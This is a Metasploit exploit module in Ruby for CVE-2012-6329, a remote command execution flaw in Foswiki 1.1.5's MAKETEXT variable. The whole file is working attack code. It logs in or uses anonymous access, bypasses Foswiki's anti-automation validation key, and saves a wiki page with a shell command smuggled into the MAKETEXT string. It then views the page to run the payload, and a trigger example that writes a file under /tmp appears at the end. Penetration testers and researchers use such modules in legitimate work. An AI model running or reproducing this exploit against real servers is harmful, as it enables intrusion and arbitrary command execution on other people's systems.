Path: blob/master/modules/exploits/unix/webapp/foswiki_maketext.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Foswiki MAKETEXT Remote Command Execution',15'Description' => %q{16This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using17a specially crafted MAKETEXT, a malicious user can execute shell commands since the18input is passed to the Perl "eval" command without first being sanitized. The19problem is caused by an underlying security issue in the CPAN:Locale::Maketext20module. Only Foswiki sites that have user interface localization enabled21(UserInterfaceInternationalisation variable set) are vulnerable.2223If USERNAME and PASSWORD aren't provided, anonymous access will be tried.24Also, if the FoswikiPage option isn't provided, the module will try to create a25random page on the SandBox space. The modules has been tested successfully on26Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.27},28'Author' => [29'Brian Carlson', # original discovery in Perl Locale::Maketext30'juan vazquez' # Metasploit module31],32'License' => MSF_LICENSE,33'References' => [34[ 'CVE', '2012-6329' ],35[ 'OSVDB', '88410' ],36[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]37],38'Privileged' => false, # web server context39'Payload' => {40'DisableNops' => true,41'Space' => 1024,42'Compat' =>43{44'PayloadType' => 'cmd',45'RequiredCmd' => 'generic ruby python telnet'46}47},48'Platform' => [ 'unix' ],49'Arch' => ARCH_CMD,50'Targets' => [[ 'Foswiki 1.1.5', {}]],51'DisclosureDate' => '2012-12-03',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),64OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),65OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),66OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])67]68)69end7071def post_auth?72true73end7475def do_login(username, password)76res = send_request_cgi({77'method' => 'POST',78'uri' => "#{@base}bin/login",79'vars_post' =>80{81'username' => username,82'password' => password83}84})8586if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/87vprint_status "#{res.code}\n#{res.body}"88return nil89end9091session = $192return session93end9495def inject_code(session, code)96vprint_status("Retrieving the validation_key...")9798res = send_request_cgi({99'uri' => "#{@base}bin/edit#{@page}",100'cookie' => "FOSWIKISID=#{session}"101})102103if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/104vprint_error("Error retrieving the validation_key")105return nil106end107108validation_key = $1109vprint_good("validation_key found: #{validation_key}")110111if session.empty?112if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/113session = $1114else115vprint_error("Error using anonymous access")116return nil117end118end119120if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/121strike_one = $1122else123vprint_error("Error getting the FOSWIKISTRIKEONE value")124return nil125end126127# Transforming validation_key in order to bypass foswiki antiautomation128validation_key = Rex::Text.md5(validation_key + strike_one)129vprint_status("Transformed validation key: #{validation_key}")130vprint_status("Injecting the payload...")131132res = send_request_cgi({133'method' => 'POST',134'uri' => "#{@base}bin/save#{@page}",135'cookie' => "FOSWIKISID=#{session}",136'vars_post' =>137{138'validation_key' => validation_key,139'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"140}141142})143144if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/145print_warning("Error injecting the payload")146print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"147return nil148end149150location = URI(res.headers['Location']).path151print_good("Payload injected on #{location}")152153return location154end155156def check157@base = target_uri.path158@base << '/' if @base[-1, 1] != '/'159160res = send_request_cgi({161'uri' => "#{@base}System/WebHome"162})163164if not res or res.code != 200165return Exploit::CheckCode::Unknown166end167168if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/169version = $1170print_status("Version found: #{version}")171if version <= "1.1.6"172return Exploit::CheckCode::Appears173else174return Exploit::CheckCode::Detected175end176end177178return Exploit::CheckCode::Safe179end180181def exploit182# Init variables183@page = ''184185if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?186@page << '/' if datastore['FoswikiPage'][0] != '/'187@page << datastore['FoswikiPage']188else189@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"190end191192@base = target_uri.path193@base << '/' if @base[-1, 1] != '/'194195# Login if needed196if (datastore['USERNAME'] and197not datastore['USERNAME'].empty? and198datastore['PASSWORD'] and199not datastore['PASSWORD'].empty?)200print_status("Trying login to get session ID...")201session = do_login(datastore['USERNAME'], datastore['PASSWORD'])202else203print_status("Using anonymous access...")204session = ""205end206207if not session208fail_with(Failure::Unknown, "Error getting a session ID")209end210211# Inject payload212print_status("Trying to inject the payload on #{@page}...")213res = inject_code(session, payload.encoded)214if not res or res !~ /#{@page}/215fail_with(Failure::Unknown, "Error injecting the payload")216end217218# Execute payload219print_status("Executing the payload through #{@page}...")220res = send_request_cgi({221'uri' => "#{@base}#{@page}",222'cookie' => "FOSWIKISID=#{session}"223})224if not res or res.code != 200 or res.body !~ /HASH/225print_status("#{res.code}\n#{res.body}")226fail_with(Failure::Unknown, "Error executing the payload")227end228229print_good("Exploitation was successful")230end231end232233=begin234235* Trigger:236237%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%238239=end240241242